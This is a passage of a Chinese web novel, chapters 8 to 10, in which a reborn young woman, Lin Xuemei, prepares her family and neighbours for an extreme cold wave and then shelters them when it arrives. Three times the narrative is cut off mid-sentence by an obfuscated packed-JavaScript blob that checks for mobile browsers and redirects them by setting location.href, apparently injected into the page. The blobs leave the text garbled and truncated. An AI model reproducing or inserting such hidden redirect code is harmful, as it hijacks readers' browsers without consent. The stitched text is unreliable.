林雪梅顿了顿,继续说:“咱们黑土岭的冬天,一年比一年冷。我爷爷常说,老一辈人过冬,那是要‘猫冬’的,准备足,心不慌。咱们现在是工人了,有厂里发煤发粮,但天有不测风云。我前段时间看报纸,说北陆西伯利亚那边气候异常,冷空气特别活跃。我就想,咱们是不是也该像老人学习,多少有点准备?” 她的话引起了台下一些老工人的共鸣,纷纷点头。 “我就跟我爸我妈商量,多买了点粮食,把窗户缝糊了糊,地窖收拾了收拾。没想到,还被人误会,说我是倒卖囤积。” 林雪梅说到这里,眼圈微微红了,但强忍着,“今天趁着这个机会,我想说,我没别的心思,就是怕冷,怕饿,想让我家里人冬天好过点。如果这也错了……那我认罚。” 她这番话,情真意切,又带着委屈,瞬间扭转了舆论。台下嗡嗡的议论声响起: “是啊,今年是冷得邪乎!” “多买点粮咋了?又没偷没抢!” “保卫科也是,听风就是雨,欺负老实人!” “听说举报的是……” 周厂长的脸色变了变。吴主任在下面狠狠瞪了周卫国一眼。 8. 第 8 章 孙主任赶紧打圆场:“好了好了,林雪梅同志说得对,适当储备是应该的,但也要在政策允许范围内。今天比武到此结束,散会!” 人群散去,但议论没停。林雪梅那番话,像一颗种子,撒进了很多人心里。 赵美娟冲过来,拦住林雪梅,压低声音咬牙切齿:“林雪梅,你故意的!你让我丢脸!” 林雪梅平静地看着她:“表姐,技不如人,有什么办法?有这功夫,不如回去多练练。” “你!”赵美娟气得浑身发抖,“你别得意!你以为赢了比武就没事了?告诉你,没完!” “我等着。”林雪梅淡淡说完,绕开她走了。 走出礼堂,冷风一吹,她长长舒了口气。这一步棋,走对了。经此一事,她家再备点东西,至少明面上不会那么扎眼了。而且,她成功地在很多人心里埋下了“备冬”的念头。 刚走到厂门口,刘志远从后面追上来:“林雪梅同志,等等。” 林雪梅停下脚步。 刘志远跑到她面前,额头上有点汗,眼神发亮:“你刚才说得真好!就应该这样,把道理摆到明面上!” 林雪梅笑了笑:“谢谢你,刘技术员。不过,麻烦可能还没完。” “我知道。”刘志远推了推眼镜,“但我今天观察周厂长的表情,他好像……有点松动。可能他也听到了一些气候异常的汇报。而且,你得了第一,是技术骨干,厂里轻易不会动你。” 这倒是林雪梅没想到的。她只想着自保和铺垫,没考虑到“技术骨干”这层保护色。 “希望如此吧。”她说。 两人并肩走了一段。刘志远忽然说:“我托同学从省气象站要了点内部资料,复印了一份。上面确实有关于今冬极端天气的预警分析,虽然还没正式发布。你……需要吗?” 林雪梅眼睛一亮:“需要!太需要了!” 有了这份相对权威的资料,她的话就更有说服力了。 “那我明天拿给你。”刘志远说,“另外……我按照图纸,试着做了一个小型的暖房模型,用的废旧材料和玻璃片。如果能成,可以放在屋里种点耐寒的菜,比如蒜苗、小白菜。你要看看吗?” 林雪梅这次是真的惊讶了。这个刘技术员,行动力这么强? “要看!在哪儿?” “在我宿舍。现在去?”刘志远有些不好意思,“就是有点乱。” 林雪梅想了想,点点头:“行。” 刘志远的单身宿舍在机械厂宿舍楼二楼,一间十来平米的小屋,果然堆满了书、图纸和各种零件工具,但不算脏乱。窗台上,一个用木条和玻璃拼成的小暖房模型格外显眼,里面栽着几棵绿油油的蒜苗,长势很好。 “就是用灯光和反射原理,尽量保温保光照。”刘志远介绍着,“材料都是废品站找的,成本很低。如果做大一点,在屋里种点快菜,多少能补充点维生素。” 林雪梅仔细看着,心里赞叹。这东西在极寒期可能作用有限,但在极寒前后,或者极热期改造一下,用处就大了。而且,这是一个思路,一个信号——人们可以自己想办法,对抗恶劣环境。 “刘技术员,你真厉害。”她由衷地说。 刘志远挠挠头,笑了:“就是瞎琢磨。如果你觉得有用,图纸我可以多画几份,需要的材料清单也列出来。” “有用,太有用了。”林雪梅认真地说,“刘技术员,这些资料和图纸,能不能……通过你的一些渠道,悄悄散出去?不要提我,就以技术员交流或者科普的名义。” 刘志远明白了她的意思:“你想让更多人看到,自己动手准备?” “对。”林雪梅点头,“靠我一个人说,没人信。但如果是‘科学预测’、‘技术方案’,总有人会想一想,试一试。多一个人准备,可能就多活一个人。” 刘志远肃然起敬:“林雪梅同志,你想得比我远。好,这事交给我。我认识厂里工会搞宣传的,还有图书馆的人,可以想办法把这些东西掺进宣传栏或者图书角。” 离开刘志远的宿舍,林雪梅心情复杂。她没想到,重生后第一个真正理解她部分意图,并愿意付诸行动的,会是这个看似书呆子的技术员。 末世里,知识和头脑,有时候比粮食和武器更有用。 回到家,王秀芬告诉她,下午街道居委会的人来过,态度和蔼地问了问家里过冬的准备情况,还提醒注意防火防盗,没提调查的事。 看来,比武场上的那番话,起作用了。 夜里,林雪梅进入空间。黄豆可以收获了,豆荚饱满。她小心翼翼地将豆荚摘下来,晾在土坯房里。又种下了新的白菜和萝卜种子。 井水似乎又有些许不同,喝下去后,不仅提神,连白天比武的疲惫也一扫而空。她怀疑这水有缓慢改善体质的效果,但还需要时间验证。 退出空间前,她看着这片半亩大小的黑土地和清澈的古井,心中涌起一股强烈的信念。 有了这个空间,有了家人的支持,现在又有了刘志远这样的意外盟友,还有她今天在众人心中埋下的种子。 这一世,她不仅要活下去,要保护好家人。 她或许,还能做得更多。 窗外的北风呼啸着,卷起地上的积雪,拍打着窗棂。 陆历八三年黑土岭的冬天,才刚刚开始。而真正的凛冬,正在遥远的北陆西伯利亚积蓄力量,悄然南下。 距离那场改变一切的极寒,还有二十一天。 林雪梅躺在床上,听着风声,缓缓闭上眼睛。她的手摩挲着枕下那本硬壳笔记本封皮。 路还长,要一步一步走...... 这阵子保卫科没再来找麻烦,但林雪梅知道,暗处的眼睛还在。周卫国在厂里碰到她,眼神复杂,欲言又止,两人漠然擦肩。 赵美娟调去质检科后,似乎刻意避开了缝纫车间,只是偶尔在食堂或路上遇见,那眼神淬了冰,带着毫不掩饰的恨意。 林雪梅不在乎。她像一只进入越冬状态的松鼠,有条不紊地加固巢穴,囤积食粮。 地窖被进一步加深拓宽,林建国弄来一些废旧木板和油毡,在窖顶做了简易的防潮保温层。林小山把挖出来的土堆在院子角落,拍实,浇上水冻硬,成了一个小堡垒,开春后可以种菜,现在也能挡风。 空间里的收获渐丰。黄豆晒干后收了差不多五斤,颗颗饱满。白菜又收了一茬,萝卜缨子已经翠绿,地下的小萝卜头也有拇指粗。 林雪梅不敢一次拿出太多,隔三差五拿一两棵白菜、一把豆子出来,掺在家里的伙食里。王秀芬只当是女儿会持家,买的菜好,存得住,并未起疑。 刘志远送来了气象资料的复印件和暖房图纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048559|194761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。资料是省气象站内部简报的摘录,上面有关于“北陆西伯利亚高压异常活跃”、“今冬可能遭遇强冷空气频繁侵袭”的学术性描述,还有几张模糊的卫星云图。 对于普通工人来说,有些晦涩,但“强冷空气”、“频繁侵袭”这些字眼足以引起警觉。 图纸则简单明了,标明了材料尺寸和搭建步骤,旁边还有刘志远写的补充说明和注意事项。 “这东西,真有人看吗?”林雪梅问。 刘志远推了推眼镜:“我放在工会宣传栏旁边的‘科技角’了,那里常有人看《工人日报》和《大众电影》,偶尔也会翻翻技术小常识。图书馆的王大姐我也给了两份,她说可以夹在《农业知识》杂志里。” 这办法笨拙却有效。这个年代,信息传播缓慢,但这种口耳相传、半公开的“内部消息”和“实用技术”,往往比正式文件更能触动人心。 几天后,林雪梅就听到了反馈。 先是车间里几个老师傅闲聊,说起今年冬天怕是不好过,得把家里的窗户缝再糊一遍。 接着是张大妈在公用水龙头边大声抱怨煤票不够,说要让老头子去乡下亲戚那儿弄点柴火。 甚至孙主任也在班前会上提了一句:“最近天气反常,各家各户注意防火防冻,特别是用煤炉子的,小心煤气中毒。” 种子发芽了。虽然还很微弱,但确实在发芽。 林雪梅没放松。她知道,这点萌芽,在真正的酷寒面前不堪一击。但她要的,就是这点萌芽。当灾难降临时,有过准备念头的人,和完全懵懂的人,生存概率是天壤之别。 十二月二十五号,靠山屯的王大爷悄悄捎来口信,第一批山货备齐了,让林雪梅去取。另外,“落地煤”也有了眉目,但他那表侄要价高,要五十五一吨,而且要现钱,不要票。 林雪梅算了一下手里的钱。之前给王大爷的定金,买粮食杂物的花费,再加上日常开销,母亲给的一百块和自己攒的工资已经去了一多半。剩下的钱,不够买两吨煤,甚至买一吨都紧张。 她想了想,决定先要一吨煤,再把山货的钱结清。剩下的钱,得留着买更紧要的东西——药品和御寒的棉花、布料。 周日一大早,她借口去乡下看亲戚,背了个空背篓出了门。 走到半路,拐进一条僻静小路,确认无人后,从空间里取出二十棵水灵灵的大白菜和十斤黄豆,用旧床单包好,塞进背篓。这些是她空间里的出产,品相极好,在冬天是稀罕物,能换钱,也能以物易物。 到了靠山屯,王大爷家院子里堆着几个麻袋。打开一看,榛子、木耳、蘑菇,都是晒得干透的上等货。 “姑娘,你看看,五十斤榛子,五十斤木耳,五十斤蘑菇,只多不少。”王大爷搓着手,“煤的事儿,俺那表侄说了,一吨能弄,但得等机会,最快也得月底。” 林雪梅仔细检查了山货,质量没问题。她付了余款,又拿出背篓里的白菜和黄豆:“大爷,这些是我家自己种的晚白菜和豆子,给您和婶子尝尝。另外,我想用这些菜和豆子,跟您再换点东西。” 王大爷媳妇看着那青翠的白菜和圆滚滚的黄豆,眼睛都直了:“哎哟,这大冬天的,哪儿来这么水灵的菜!姑娘,你想换啥?” “换棉花,或者厚实的旧棉袄、旧棉被。”林雪梅说,“不要票,价钱好说。” 9. 第 9 章 王大爷和媳妇对视一眼。棉花是紧俏货,但山里人家,谁家不存点自留棉?旧棉袄棉被,拆洗翻新一下,也能用。 “成!”王大爷媳妇拍板,“俺家还有十来斤新棉花,是留着给小子娶媳妇絮被子的,先匀给你。旧棉袄也有两件,是俺公婆留下的,厚实,就是样式老。你看成不?” “成!”林雪梅立刻答应。新棉花难得,旧棉袄正好,拆了重做,或者直接加厚,都是极好的御寒物。 最终,二十棵白菜和十斤黄豆,换了八斤新棉花、两件厚重的老式旧棉袄,还有王大爷媳妇硬塞的一小罐自家熬的猪油。 “姑娘,这猪油你拿着,炒菜香,抹手抹脸防皴裂,顶好用!”王大爷媳妇热情地说。 林雪梅道了谢,把东西仔细打包好。山货和换来的棉花衣物加起来分量不轻,王大爷让儿子用独轮车帮她送到离城不远的路口。 背着重重的背篓回到家,王秀芬看见那么多山货和棉花,又惊又喜,听了林雪梅“用菜跟老乡换”的说辞,也只是感慨女儿能干,没多问。 那两件旧棉袄虽然式样古旧,但棉花絮得极厚,拆洗后重新弹一遍,足够给全家每人添一件厚棉马甲。 林雪梅把猪油交给母亲,自己留下那罐子。这罐子不大,黑陶的,有个严实的木塞。她进入空间,用井水仔细清洗了罐子,然后装了满满一罐空间井水出来。 她有个模糊的想法,需要验证。 接下来的几天,林雪梅变得异常忙碌。白天上班,晚上就和母亲一起拆洗翻新棉衣,絮棉花,纳鞋底。 林建国和林小山则负责将买来的煤炭,一点点运进地窖,用木板隔开,避免受潮。 地窖里分门别类,粮食区、蔬菜区、山货区、煤炭区,甚至还用旧砖隔出了一个小的“工具杂物区”,放着铁锹、斧头、绳索、蜡烛、火柴等零碎物品。 家里的窗户全部用裁好的厚塑料布从里面蒙了一层,边缘用木板条钉死,形成了简易的双层窗。 门缝也钉上了自制的棉布条门帘,火炕的烟道被林建国彻底清理了一遍,糊了新黄泥,烧起来果然旺了很多,省煤。 期间刘志远又来了一次,送来了一个他自己焊的小铁皮炉子,带一节烟囱。 “这个比煤油炉暖和,也更安全,就是费煤。你可以放在外屋,做饭取暖两用,烟囱伸到窗外就行。” 林雪梅家正缺这个,欣然收下,硬塞给刘志远五块钱和五斤黄豆。刘志远推辞不过,红着脸收了黄豆,钱死活不要。 “林雪梅同志,你别这样。我帮你们,不是因为图什么。”他认真地说,“是觉得你们做的事有意义。如果……如果真的有那么一天,我希望像你们这样的人,能活下去,能带着更多的人活下去。” 他的话让林雪梅沉默良久。这个技术员,心里装着的,不仅仅是自己的安危。 时间一天天逼近年底。厂里开始张罗元旦文艺汇演,排练节目的歌声和锣鼓声偶尔飘过家属院,带来一丝节日的喧闹。但在这喧闹之下,一种隐隐的不安,像冰层下的暗流,开始在部分人中涌动。 林雪梅发现,厂里的小黑市悄悄活跃起来。有人用粮票换煤票,用工业券换棉花票,甚至有人开始打听哪里能买到高价粮。保卫科睁只眼闭只眼,只要不太过分,就不深究。 张大妈家的争吵少了,她男人破天荒地开始往家搬柴火。李嫂把两个孩子裹得严严实实,很少让他们出门玩了。连一向爱美的赵美娟,也穿上了臃肿的棉裤,据说还托人从外地买回来一件军大衣。 十二月三十号,元旦前一天。 下午,天色阴沉得厉害,铅灰色的云层低低地压着屋顶。广播里预报夜间有中到大雪,局部暴雪。 林雪梅下班回家时,感觉到空气中的湿冷已经带上了刺骨的意味。风吹在脸上,不像刮,像小刀子割。 家里却暖意融融。新砌的小铁皮炉子烧得正旺,炉子上坐着铁壶,咕嘟咕嘟冒着白气。王秀芬在揉面,准备包元旦的饺子。林小山在捣鼓一个破旧的半导体收音机,刺啦刺啦的电流声里,偶尔能听见一两个清晰的词句。 “爸呢?”林雪梅问。 “去你张叔家了,说是借个车轱辘,想把咱家那辆旧自行车修修,万一有事能用。”王秀芬头也不抬地说。 林雪梅心里一紧。父亲的想法是对的,极寒来临时,自行车可能是唯一可靠的交通工具。但这个时候出去…… 她走到窗边,抹开玻璃上的霜花。外面已经开始飘雪了,不是雪花,是细密的雪粒子,打在玻璃上沙沙响。 “这雪不对劲。”她喃喃道。 前世,极寒来临的前几天,也是这样先下雪粒子,然后才是铺天盖地的鹅毛大雪和恐怖的降温。 “妈,馅别弄太多了,够今晚和明天吃就行。”林雪梅转身说,“多和点面,烙点饼,耐放。” 王秀芬看了女儿一眼,没问为什么,点了点头:“成。” 林雪梅又对林小山说:“小山,别弄收音机了,去把院里柴火都抱进棚子里,用油毡盖好。水缸挑满,把屋里所有能装水的盆啊桶啊都接上水,放到不碍事的角落。” 林小山见她神色严肃,立刻放下收音机:“哎!” 她自己则进入空间,快速巡视了一遍。作物长势良好,井水充盈。林雪梅想了想,用那个黑陶罐装了满满一罐井水,又摘了五棵最大最饱满的白菜,退出空间。 把白菜交给母亲,罐子则小心地放在自己屋里。她开始整理自己的挎包和一个小包袱,里面装上火柴、蜡烛、一把小刀、一卷纱布、两包止痛片、那罐井水、几个窝头、还有那本硬壳笔记本和一支笔。这是她的应急包,随时可以拎走。 天彻底黑下来时,林建国才顶着风雪回来,眉毛胡子都结了霜。 “车轱辘没借到,张家的也被他小舅子借走了。”林建国跺着脚上的雪,“怪了,今天好几家都在修自行车。” 林雪梅的心又沉了沉。看来,感到不对劲的人,不止她一个。 晚饭是白菜猪肉馅饺子,王秀芬还炒了个黄豆芽,拌了个萝卜丝。一家四口围坐在炉子边,吃得鼻尖冒汗。窗外,风雪呼啸。 饭后,林雪梅坚持让全家人都用热水烫了脚,换上最厚的袜子和棉鞋。又把早就准备好的、灌了热水的葡萄糖玻璃瓶用旧布包好,每人被窝里塞了两个。 “姐,至于吗?”林小山嘟囔,“跟要打仗似的。” “比打仗还厉害。”林雪梅严肃地说,“今晚都警醒点,听到任何异常动静,别贸然出去,先叫我。” 夜里,雪越下越大。风像疯了一样,卷着雪片砸在窗户上,发出砰砰的闷响。塑料布绷紧的窗户被吹得鼓荡,呜呜的风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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她知道,等来的不会是复工通知,而是一步步升级的灾难预警和最终的全面瘫痪。 上午十点左右,院门外传来踩雪的咯吱声和拍门声。 “林大哥!林大哥在家吗?”是张大妈的声音,带着哭腔。 林建国看了林雪梅一眼,林雪梅点点头。林建国披上棉袄,戴上狗皮帽子,裹严实了才去开门。 张大妈跌跌撞撞冲进来,脸冻得青白,嘴唇哆嗦着:“林大哥,秀芬妹子,救命啊!我家……我家小柱子发烧了,烧得说胡话!卫生所关门了,赤脚大夫也找不着,这可咋办啊!” 小柱子是张大妈的小孙子,才四岁。 王秀芬心软,立刻看向林雪梅。林雪梅心里叹了口气。她知道张大妈一家前世的下场,但孩子是无辜的。 “张大妈,你别急。”林雪梅起身,“我家有点退烧药,你先拿回去给孩子试试。但这么冷的天,发烧可大可小,最好还是想办法送医院。” 她从李嫂给的那个小铁盒里,找出半瓶阿司匹林,倒出两片用纸包好,又拿了一小卷纱布和一点酒精棉。“药一次半片,四个小时一次,用温水化开喂。用酒精棉擦孩子的手心脚心,能降温。纱布备用。” 张大妈千恩万谢地接过,又犹犹豫豫地说:“那个……雪梅啊,你家……有没有多余的煤?我家煤票买的煤,不够烧,昨晚后半夜炉子就灭了,孩子怕是冻着的……” 10. 第 10 章 林雪梅沉默了一下。她地窖里有煤,但不能开这个口子。一旦给了张家,李家、王家呢?家属院几十户人家,她救不过来。 “张大妈,我家煤也不多。”她硬起心肠,“这样,我让我爸帮你看看你家的炉子和烟囱是不是堵了,有时候不是煤不够,是炉子不旺。另外,多烧点热水,灌瓶子给孩子捂着。” 她让林建国跟着张大妈去了。不是送煤,是去看看情况,指导一下。这样既不至于见死不救,也不会暴露自家的储备。 林建国回来后,脸色沉重:“炉子没事,就是煤真没了。屋里跟冰窖似的,孩子小脸通红。我让他们把能烧的木头、旧家具先劈了烧着,顶一顶。” 王秀芬抹眼泪:“造孽啊……” 林雪梅没说话。这只是开始。极寒之下,最先遭殃的,永远是准备不足的家庭和孩子。 中午,温度计降到了零下三十五度。天空是一种诡异的灰蓝色,没有太阳,光线惨淡。 半导体收音机终于收到了断断续续的广播,是县广播站的紧急通知:“全县广大干部群众注意……受强冷空气影响……我县出现罕见暴风雪和极端低温天气……县委县政府已启动应急响应……要求各单位做好防寒保暖工作……减少不必要外出……等待进一步通知……” 广播反复播放,夹杂着严重的电流干扰。 “启动应急响应了。”林建国喃喃道,“真出大事了。” 下午,风雪再起。这次不是雪,是细密的、颗粒状的冰晶,被狂风卷着横扫天地,打在窗户上噼啪作响,能见度不到十米。 冰雹?不,是“冻雾”,一种在极端低温下形成的天气现象。前世,冻雾持续了整整两天,之后气温才开始断崖式下跌到零下五十度以下。 林雪梅让林小山用旧棉被把窗户又蒙了一层。屋里几乎全靠炉火照明,昏暗如黄昏。 她再次进入空间。黑土地和作物似乎不受外界影响,依然生机勃勃。井水依旧清冽。她摘了几个小萝卜,嫩生生的,可以当水果吃。又收了一茬小白菜。 退出空间后,她把萝卜和小白菜拿给家人。在这冰雪封门、万物凋零的时刻,这点新鲜的绿色,简直如同神赐。 “这……这哪儿来的?”王秀芬惊呆了。 “我之前在窗台里面用破木箱试种的一点,没想到真活了。”林雪梅面不改色地撒谎。窗台那里确实有个破木箱,里面有点土,种了两头蒜,此刻蒜苗也冻蔫了。 王秀芬信了,感慨女儿有心。林建国和林小山则只顾着吃,清甜微辣的萝卜,脆嫩的小白菜,驱散了心头的阴霾和嘴里的寡淡。 傍晚时分,风更狂,温度计指向零下三十八度。 院门再次被拍响,这次声音急促而沉重。 林雪梅心头一跳,示意父亲小心。林建国全副武装,拿着铁锹靠近门边:“谁?” “林师傅!是我,刘志远!”门外传来喊声,几乎被风声淹没。 林雪梅松了口气,让父亲开门。 刘志远几乎是摔进来的,浑身是雪和冰凌,眼镜碎了半边,脸上有一道血口子。他怀里紧紧抱着一个用油布包裹的方盒子。 “刘技术员!你怎么来了?快进来!”林雪梅赶紧让他靠近炉子。 刘志远哆嗦着,话都说不利索:“电……电台……我改装了……一个……短波……能收到……更远……的……信号……” 他打开油布,里面是一个缠着许多线圈、接了两个大号电池的简易短波收音机,还有几节备用电池。 “我试了……能收到……省里的……紧急频道……”刘志远把收音机接上电池,调谐旋钮。一阵刺耳的噪音后,一个相对清晰、语速很快的男声传了出来: “……重复,紧急通知……北纬40度以北地区……正经历历史罕见的超强寒潮袭击……预计未来七十二小时内,气温将继续骤降……局部地区可能跌破零下五十摄氏度……请所有居民务必留在室内,做好极端防寒准备……政府救援力量正在组织,但因交通中断,抵达时间无法预估……请民众互助自救,保存体力,等待救援……” 广播里的声音冷静而急促,透着一股前所未有的严峻。 屋里一片死寂。零下五十度……这个数字,超出了所有人的想象极限。 林建国手里的烟掉了。王秀芬捂住了嘴。林小山眼睛瞪得老大。 刘志远看着林雪梅,镜片后的眼睛带着血丝,却有一种“果然如此”的沉重。 “你……早就知道,对不对?”他低声问。 林雪梅没有否认,只是轻轻点了点头。 “省里的通知……说交通中断,救援无法预估……”林建国声音干涩,“咱们……得靠自己了。” “靠自己也行!”林小山忽然攥紧拳头,“咱家有粮有煤有菜!地窖结实!能挺过去!” 他的话,给死寂的屋里注入了一丝生气。 “对,能挺过去。”林雪梅看着家人,眼神坚定,“爸,妈,小山,刘技术员,咱们现在要做的,就是熬。熬过这最冷的几天,等待转机。” 她看向刘志远带来的短波收音机:“刘技术员,这个太重要了。信息就是眼睛。你今晚……别走了,太危险。就在这儿凑合一宿吧。” 刘志远没有推辞。这样的天气,他回不去宿舍,就算能回去,单人宿舍没有足够的燃料,也是死路一条。 王秀芬连忙去外屋铺床,让刘志远睡外屋的木板床,多加了两层褥子,一床厚被。林雪梅拿了冻伤膏给他处理脸上的伤口,又倒了一碗热气腾腾的姜糖水给他驱寒。 夜深了,风声依旧鬼哭狼嚎。温度计的水银柱,以一种令人心悸的速度,缓慢而坚定地继续下降。 零下四十度。 林雪梅躺在炕上,听着外屋刘志远压抑的咳嗽声,里屋父母和弟弟不安的呼吸声,以及窗外仿佛要撕裂世界的风声。 她摸了摸枕下的笔记本,里面记录着她前世的记忆,这一世的计划,还有这些天来悄悄画下的简易地图、物资清单、注意事项。 重生第四十二天,预言中的极寒,终于降临。 零下四十度的寒冷,是一种超乎语言描述的体验。 那不仅仅是皮肤感觉到的刺痛,而是空气本身变成了带着细密冰针的流体,从每一个毛孔、每一次呼吸钻入体内,掠夺着最后的热量。 即便炉火在屋子中央烧得通红,热量似乎也被冻结在咫尺之遥,无法有效驱散墙角、门后、窗边那不断积聚的寒意。 刘志远带来的短波收音机成了连接外部世界的唯一通道。 每隔几小时,省里那个紧急频道就会重复播放通知,内容一次比一次严峻,救援抵达的时间从“无法预估”变成了“短期内无法抵达”,最后只剩下简短的生存指南:保持体温,补充高热食物,警惕一氧化碳中毒,非必要不外出。 林雪梅家的窗户已经被厚厚的冰霜完全封死,看不清外面。只能通过声音判断,风势似乎减弱了些,但那种无孔不入的、死寂的寒冷却更加清晰。 第二天,元旦过后的第一天,温度计定格在零下四十二度。 王秀芬开始咳嗽,起初是轻微的,后来带上了痰音。林雪梅立刻警觉,找出李嫂给的土霉素,让母亲按时服用。又用黑陶罐里的空间井水化开一点红糖,让母亲小口喝下。 也许是药效,也许是心理作用,也许是那井水的微妙效果,王秀芬的咳嗽在当天下午有所缓解。 林建国和林小山负责照料炉火和检查房屋。他们发现,即便门窗封得严实,冰冷的空气还是能从砖缝、地板缝隙渗入。 林建国找出家里最后一点石灰,和着温水调成糊,父子俩戴着厚手套,一点点地涂抹填补那些缝隙。这不是长久之计,但能顶一时。 刘志远也没闲着。他修好了自己那半边眼镜,开始研究林雪梅家地窖的通风和保温结构,并提出了几点改进意见。他还在林雪梅的同意下,用那罐“井水”尝试浇灌窗台木箱里冻蔫的蒜苗和几颗侥幸存活的麦粒。 奇迹般的,一夜过去,蒜苗竟然挺直了些,麦粒也冒出了一丝丝绿意。 “这水……不一般。”刘志远看着黑陶罐,若有所思。 林雪梅没有解释,只是说:“可能是井深,水干净。” 第三天,一月三号。短波收音机里,省台的紧急频道声音变得断续,杂音增多,显然连省里的广播设施也受到了极端天气的影响。 但就在杂音的间隙,他们听到了一条更令人心惊的消息:不仅仅是黑土岭,整个北陆星球的北半球中高纬度地区,都报告了类似的极端低温,部分地区通讯已完全中断。 “星球级别……”刘志远摘下眼镜,用力揉了揉眉心,“这已经不是气象灾害了,这是……生态灾难。” 林雪梅沉默。前世她只知道黑土岭周边的惨状,并不清楚这是全球性的事件。这个消息,让她对未来的预期更加黯淡。全球性的灾难,意味着外部救援的希望更加渺茫,恢复的周期可能漫长到超出想象。 这天下午,院门外再次传来动静。不是拍门,而是有气无力的抓挠和微弱的呼喊。 林建国和刘志远全副武装,拿着家伙靠近门口。林雪梅贴在门后听着。 “救……命……林……家……有……人……吗……”声音断断续续,气若游丝。 林建国辨认了一下,低声道:“像是……李嫂?” 林雪梅心头一紧,示意开门。 门刚开一条缝,一股裹着冰晶的寒风就冲了进来。 一个几乎冻僵的人影倒进门内,是李嫂。她只穿着单薄的棉袄,没戴帽子,头发眉毛上全是冰霜,嘴唇青紫,怀里还死死抱着一个用破布包裹的小小身影,是她的小女儿,妞妞。 “快关门!”林雪梅喊道,和刘志远一起将李嫂母女拖到炉子边。 王秀芬连忙拿来厚棉被将两人裹住,林雪梅则用温水浸湿的毛巾轻轻擦拭李嫂和妞妞冻僵的脸和手脚。妞妞已经昏迷,小脸灰白,呼吸微弱。李嫂意识尚存,但牙齿咯咯打颤,说不出完整的话。 “她家……怕是出事了。”林建国沉声道。 等李嫂稍微缓过点劲,断断续续说出经过。原来她家大儿子铁蛋,前一天晚上就开始发烧,她家煤早用完了,柴火也烧光了,屋里冷得像冰窟。 铁蛋烧得直说胡话,她实在没办法,想抱着妞妞来林家求助,看能不能借点药,或者讨点热水。 谁知出门没走多远就迷了方向,风雪太大,她摔了好几跤,最后凭着一点模糊的记忆和求生本能,硬是爬到了林家院门口。 “铁蛋……还在家……”李嫂眼泪流下来,在冰冷的脸颊上结成冰珠,“求求你们……救救孩子……” 林雪梅看向父亲。林建国脸色凝重。外面零下四十多度,去李嫂家有一段距离,而且是暴风雪过后,积雪深厚,危机四伏。 “我去。”刘志远忽然站起来,“我年轻,体力好。林师傅,您告诉我李嫂家位置,我尽量快去快回。” “不行,太危险!”王秀芬反对。 “李嫂能爬过来,路应该还能走。”刘志远看向林雪梅,“而且,我们不是有那个‘水’吗?也许……有用。” 林雪梅明白他的意思。空间井水或许有增强体质、抗病的效果。 她咬了咬牙,快速做出决定:“爸,你和刘技术员一起去,带上绳子,互相照应。带上铁锹开路,带上热水瓶和药,还有……”她拿出黑陶罐,倒出小半碗井水,想了想,又加了一点点红糖,“这个,想办法喂给铁蛋。” 她又找出家里最厚实的棉大衣和狗皮帽子给两人武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林建国、林小山和刘志远挤在外屋的木板床和临时地铺上。炉火必须烧得更旺,煤的消耗速度明显加快。 林雪梅悄悄进入空间,又取了些白菜和萝卜,混在之前拿出来的菜里,作为接下来几天的口粮。 她意识到,人口增加,消耗也增加,必须精打细算。但救人一命,她并不后悔。李嫂前世对她家有恩,这一世又提供了关键的药品,铁蛋和妞妞是无辜的孩子。 更重要的是,这次救援,让她看到了在极端环境下,人与人之间互助的可能,以及刘志远这个“外人”所展现出的担当和勇气。这是一个宝贵的开端。 第四天,一月四号。温度计的水银柱,颤抖着,终于跌破了零下四十五度。 短波收音机彻底失去了省台的信号,只剩下刺耳的噪音。世界仿佛被彻底冰封、隔绝。 但林家的屋子里,却因为多了三口人,反而有了一种相依为命的微弱生气。 铁蛋在退烧药和井水的双重作用下,虽然虚弱,但终于清醒过来,能喝下一点热粥。妞妞也醒了,偎在母亲怀里,懵懂的大眼睛看着这个陌生的温暖地方。 李嫂身体底子好,缓过来后,就抢着帮王秀芬做饭、收拾。她手巧,把林家一些旧衣服拆改,给孩子们缝补。 林建国和刘志远则继续研究加固房屋、改进地窖通风的办法。林小山成了小小的“后勤部长”,负责看管炉火、分配每日的煤炭和饮用水。 林雪梅观察着这一切。家人之间的默契,刘志远的融入,李嫂一家的感恩和勤快,形成了一个微小但稳定的临时共同体。在末世初期,这样的共同体,是生存的基石。 然而,她也清醒地知道,这只是脆弱的平衡。一旦物资出现短缺,压力增大,人性的考验才刚刚开始。 这天傍晚,在确认外面风声似乎暂时停歇后,林雪梅提出,她需要去地窖再清点一下物资,做更精细的规划。林建国要陪她去,她拒绝了,只让林小山帮忙照明。 地窖里阴冷,但比外面暖和得多。手电光下,堆积的粮食、山货、煤炭,还有角落里的一些工具杂物,显得井然有序。 林雪梅仔细清点,心里快速计算。粮食省着吃,加上李嫂一家三口,大概能支撑一个多月。煤炭消耗最大,照现在的用法,最多二十天。山货是补充,但不能当主食。蔬菜,靠她空间里的产出可以补充,但也不能暴露太多。 “小山,”她低声对弟弟说,“从明天开始,炉子白天烧小点,晚上睡觉前烧旺。咱们的煤,得省着用。” “姐,我知道。”林小山点头,“刘大哥也在想办法,说看能不能用雪做个什么‘保温层’,减少热量散失。” 林雪梅点点头。刘志远的脑子确实好使。 